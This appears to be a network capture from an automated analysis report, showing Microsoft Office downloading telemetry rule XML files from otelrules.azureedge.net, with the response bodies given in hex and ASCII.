2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 09:47:33 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:35 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:35 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 8f1f3dd8-601e-0097-4789-28f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094735Z-15b8d89586fpccrmgpemqdqe58000000016g0000000062pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:35 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:35 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:35 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 455cb2eb-701e-005c-341c-29bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094735Z-r197bdfb6b4d9xksru4x6qbqr000000006ag000000009h73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:35 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:35 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:35 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094735Z-16849878b787wpl5wqkt5731b4000000071g00000000bqh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:35 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:35 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:35 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094735Z-r197bdfb6b4bq7nf8dgr5rzeq400000001q0000000004098 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:35 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:35 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094735Z-15b8d89586fcvr6p5956n5d0rc0000000ceg0000000003gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:36 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:37 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094737Z-15b8d89586f6nn8zqg1h5suba800000001mg000000004pb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:37 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:36 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094736Z-17c5cb586f6lxnvg801rcb3n8n000000065g0000000068ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:36 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:36 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: df0b1010-b01e-0021-3b24-28cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094736Z-r197bdfb6b42rt68rzg9338g1g00000007mg000000003gc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:36 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
